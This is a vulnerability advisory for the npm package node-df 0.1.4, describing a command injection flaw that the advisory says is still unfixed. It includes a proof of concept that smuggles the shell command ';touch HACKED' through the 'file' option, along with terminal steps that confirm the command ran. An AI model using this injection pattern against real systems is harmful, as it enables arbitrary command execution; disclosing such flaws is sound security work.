node-df@0.1.4 vulnerabilities

node-df is a cross-platform Node.js wrapper around the standard Unix computer program (disk free).

Affected versions of this package are vulnerable to Command Injection. The issue occurs because a user input is concatenated inside a command that will be executed without any check.

PoC by mik317

// poc.js
var df = require('node-df');
var options = {
        file: '/;touch HACKED',
        prefixMultiplier: 'GB',
        isDisplayPrefixMultiplier: true,
        precision: 2
    };

df(options, function (error, response) {
    if (error) { throw error; }

    console.log(JSON.stringify(response, null, 2));
});
Execute the following commands in terminal:
npm i node-df # Install affected module
ls # Make sure there isn't any *HACKED* file
node poc.js #  Run the PoC
ls # The *HACKED* file has been created

There is no fixed version for node-df.